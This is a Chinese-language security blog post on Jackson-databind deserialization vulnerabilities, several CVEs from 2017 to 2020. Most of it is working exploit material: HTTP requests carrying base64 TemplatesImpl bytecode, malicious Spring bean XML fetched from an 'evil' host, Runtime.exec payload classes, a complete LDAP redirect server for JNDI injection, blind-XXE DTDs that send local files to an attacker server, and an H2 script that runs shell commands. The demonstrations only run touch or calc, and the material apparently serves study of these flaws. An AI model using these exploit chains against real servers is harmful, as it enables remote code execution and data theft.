Jackson漏洞

admin 2022年1月6日01:46:47评论703 views字数 24281阅读80分56秒阅读模式

Jackson是一款当下流行的json解释器,主要负责处理Json的序列化和反序列化。

基础概念

jackson核心模块由三部分构成:

  • jackson-core - 核心包,提供基于流模式API
  • jackson-annotations - 注解包,提供标准注解功能
  • jackson-databind - 数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;


public class Test {
public static void main(String[] args) throws IOException {
User user=new User("test",18);
ObjectMapper objectMapper=new ObjectMapper();
String json=objectMapper.writeValueAsString(user);
System.out.println(json);
User user1=objectMapper.readValue(json,User.class);
System.out.println(user1);
}
}

Jackson有一种特殊的机制 — JacksonPolymorphicDeserialization,这里可以翻译为Jackson的多态类型绑定,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。
文档中可以看到两种情况,一种是 Global default typing(全局的DefaultTyping),另一种是 @JsonTypeInfo 注解两种方式。

DefaultTyping在这个方式里面一种有4个值

  • JAVA_LANG_OBJECT :当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)。
  • OBJECT_AND_NON_CONCRETE :除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。
  • NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的Array类型。
  • NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "Mike";
p.object = new ObjectDemo();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String json = mapper.writeValueAsString(p);
System.out.println(json);
//{"age":10,"name":"Mike","object":["com.jacksondemo.ObjectDemo",{"length":100}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
//age=10, name=Mike, com.jacksondemo.ObjectDemo@245614d6
}
}
class People {
public int age;
public String name;
public Object object;

@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}
}
class ObjectDemo {
public int length = 100;
}

@JsonTypeInfo 也是jackson多态类型绑定的一种方式,它一共支持下面5种类型的取值。

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Jsontypeinfo {
public static void main(String[] args) throws IOException {
ObjectMapper mapper= new ObjectMapper();
User user = new User();
user.name= "Mike";
user.age=100;
user.obj=new Height();
String json = mapper.writeValueAsString(user);
System.out.println(json);
}
}

class User{
public String name;
public int age;
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object obj;

public String toString(){
return "name:" + name + " age:" + age + " obj:" + obj;
}
}

class Height{
public int h = 100;
}

(1)、Id.NONE
这种方式的输出结果实际上是我们最想要的,这里只需要相关参数的值,并没有其他一些无用信息。

1
{"name":"Mike","age":100,"obj":{"h":100}}

(2)、Id.CLASS
这种方式的输出结果中携带了相关java类,也就是说反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过 @class 方式指定相关类,并进行相关调用。

1
{"name":"Mike","age":100,"obj":{"@class":"com.jacksondemo.Height","h":100}}

(3)、Id.MINIMAL_CLASS
这种方式的输出结果也携带了相关类,和 id.CLASS 的区别在 @class 变成了 @c ,从官方文档中描述中这个应该是一个更短的类名字。同样也就是说反序列化的时候如果使用了JsonTypeInfo.Id.MINIMAL_CLASS修饰的话,可以通过 @c 方式指定相关类,并进行相关调用。

1
{"name":"Mike","age":100,"obj":{"@c":"com.jacksondemo.Height","h":100}}

(4)、Id.NAME
这种输出方式没有携带类名字,在反序列化时也是不可以利用的。

1
{"name":"Mike","age":100,"obj":{"@type":"Height","h":100}}

(5)、Id.COSTOM
这个无法直接用,需要手写一个解析器才可以配合使用,所以直接回抛出异常。

Jackson反序列化(CVE-2017-7525)

根据触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞

  • Jackson 2.7版本(<2.7.10)、2.8版本(<2.8.9)
  • 调用了enableDefaultTyping方法
  • 反序列化的类可控

漏洞复现:
本漏洞利用条件如下:

  • 开启 JacksonPolymorphicDeserialization,即调用以下任意方法

    1
    2
    objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
    objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
  • Target class 需要有无参 constructor

  • Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口

Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。

使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298

{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}

这个POC只能运行在目标为JDK7u21以下的环境中,其他情况请更换Gadget。

Jackson反序列化(CVE-2017-17485)

针对CVE-2017-7525 黑名单修复 绕过,利用了 org.springframework.context.support.FileSystemXmlApplicationContext。

利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如 http://evil/spel.xml, 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>touch</value>
<value>/tmp/prove2.txt</value>
</array>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>

然后,发送如下数据包,使Jackson加载bean,触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138

{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://evil/spel.xml"
]
}

成功执行touch /tmp/prove2.txt
原理: 利用 FileSystemXmlApplicationContext 加载远程 bean 定义文件,创建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 来调用 start() 方法实现命令执行

漏洞分析

环境
App.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
import java.lang.reflect.Array;

/**
* Created by liaoxinxi on 2017-12-11.
*/

public class App {
public static void main(String args[]){
testSpringFramework();
}

public static void testSpringFramework(){
//CVE-2017-17485
// 假设这是攻击者可以控制的请求包payload
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", " +
"\"http://127.0.0.1/spel.xml\"]\n";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

开启web服务,并将如下的spel.xml文件放入根目录中

spel.xml

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc" />
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>

Jackson-databind 反序列化 (CVE-2020-8840)

这个CVE利用xbean-reflect利用链造成JNDI注入
影响版本:2.0.0 - 2.9.10.2

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependencies>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect -->
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.16</version>
</dependency>

<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
</dependencies>

起一个web服务器,并将编译的Exploit.class放入根目录中

1
python -m http.server 8080

Exploit.java

1
2
3
4
5
6
7
8
9
10
public class Exploit {
public Exploit(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}

}
}

marshalsec开启LDAP服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
public static void main(String args[]) throws IOException {
ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

mapper.readValue(json, Object.class);

}
}

CVE-2020-14060

影响范围

  • jackson-databind before 2.9.10.4
  • jackson-databind before 2.8.11.6
  • jackson-databind before 2.7.9.7

利用条件

  • 开启enableDefaultTyping()
  • 使用了org.apache.drill.exec:drill-jdbc-all第三方依赖

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>

<dependency>
<groupId>org.apache.drill.exec</groupId>
<artifactId>drill-jdbc-all</artifactId>
<version>1.4.0</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
</dependencies>

</dependencies>
<!-- https://mvnrepository.com/artifact/org.aoju/bus-core -->

PS:这里的漏洞所使用的库包需要在1.4版本才可以,之后没有该漏洞类,而目前最新的已经是1.17.0了,所以总体来说较为鸡肋~

启动web服务,并放入编译好的badClassName.class文件

badClassName.java

1
2
3
4
5
6
7
8
import java.io.IOException;

public class badClassName {
public badClassName() throws IOException {
Runtime.getRuntime().exec("calc");

}
}

启动LDAPServer 服务

LDAPServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

String payload = "[\"oadd.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1389/badClassName\"}]";
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}

之后运行该程序,成功执行命令,弹出计算器:

CVE-2020-14062

影响范围

  • jackson-databind before 2.9.10.4
  • jackson-databind before 2.8.11.6
  • jackson-databind before 2.7.9.7

利用条件

  • 开启enableDefaultTyping()
  • 使用了com.sun.xml.parsers:jaxp-ri第三方依赖

漏洞复现

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>

<dependency>
<groupId>com.sun.xml.parsers</groupId>
<artifactId>jaxp-ri</artifactId>
<version>1.4</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>

<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
</dependencies>

Poc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1389/badClassName\"}]";
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}

CVE-2020-14195

影响范围

  • jackson-databind before 2.9.10.4
  • jackson-databind before 2.8.11.6
  • jackson-databind before 2.7.9.7

利用条件

  • 开启enableDefaultTyping()
  • 使用了org.jsecurity.realm.jndi.JndiRealmFactory第三方依赖

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.jsecurity/jsecurity -->
<dependency>
<groupId>org.jsecurity</groupId>
<artifactId>jsecurity</artifactId>
<version>0.9.0</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>

<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
</dependencies>

漏洞Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\",{\"jndiNames\":\"ldap://127.0.0.1:1389/badClassName\"}]";
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}

Jackson JDOM XSLTransformer Gadget

影响范围

  • Jackson 2.x ~2.9.9

利用条件

  • 开启enableDefaultTyping
  • 使用了JDOM 1.x 或 JDOM 2.x 依赖

漏洞简介
在Jackson 2.x ~ Jackson 2.9.9,当开发人员在应用程序中通过ObjectMapper对象调用enableDefaultTyping方法并且服务端使用了JDOM 1.x 或 JDOM 2.x 依赖库时,攻击者可以发送恶意的JSON消息,读取远程服务器上的任意文件。

创建一个Meaven项目,在pom.xml文件中添加以下依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.9</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-annotations -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.9</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.jdom/jdom2 -->
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom2</artifactId>
<version>2.0.6</version>
</dependency>
</dependencies>

编写poc.xml
该XXE属于Blind XXE,我们构造以下恶意xml代码,它会去调用位于我们的攻击主机上(这里以本地启动的Http服务模拟)的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误):

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE any[
<!ENTITY % file SYSTEM "file:///g:/json.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/evil.dtd">
%remote;
%send;
]>
<foo></foo>

编写evil.dtd

1
2
<!ENTITY % ppp "<!ENTITY % send SYSTEM 'http://127.0.0.1/%file;'>">
%ppp;

起一个web服务,端口为4444,将以上两个xml文件放入其中。

1
python -m http.server 4444

再起一个web服务,端口为80,接受盲打返回的信息

1
python -m http.server 80

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
public static void main(String[] args) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1:4444/poc.xml\"]";
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

漏洞原理可看此文章:Jackson JDOM XSLTransformer Gadget浅析

jackson-databind RCE(CVE-2020-36186)

影响范围

  • Jackson-databind < 2.9.10.7

利用条件

  • 开启enableDefaultTyping()
  • 使用了commons-dbcp第三方依赖库

漏洞概述
org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。

漏洞复现
pom.xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.7</version>
</dependency>
<!-- https://mvnrepository.com/artifact/tomcat/naming-factory-dbcp -->
<dependency>
<groupId>tomcat</groupId>
<artifactId>naming-factory-dbcp</artifactId>
<version>5.5.23</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>

开启ldap服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:4444/#Exploit 1389

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"}]";
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);

}
}

Jackson-databind SSRF&RCE(CVE-2020-36189)

影响范围

  • Jackson-databind < 2.9.10.7

利用条件

  • 开启enableDefaultTyping()
  • 使用了com.h2database\com.newrelic.agent.java第三方依赖库

漏洞概述
com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成SSRF&RCE。

漏洞复现
pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.7</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
<dependency>
<groupId>com.newrelic.agent.java</groupId>
<artifactId>newrelic-agent</artifactId>
<version>4.9.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>

SSRF

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://pxrrvz.dnslog.cn/'\"}]";
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);

}
}

RCE

web服务放入 exec.sql文件
exec.sql

1
2
3
4
5
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc.exe')

poc

1
2
3
4
5
6
7
8
9
10
11
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:4444/exec.sql'\"}]";
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);

}
}

Jackson-databind SSRF

影响范围

  • jackson-databind before 2.9.10.3
  • jackson-databind before 2.10.2

利用条件

  • 开启enableDefaultTyping()

漏洞概述
漏洞类javax.swing.JEditorPane来源于JDK不需要依赖任何jar包,该类在jackson-databind进行反序列化时可造成SSRF
Jackson-databind SSRF浅析

官方新规

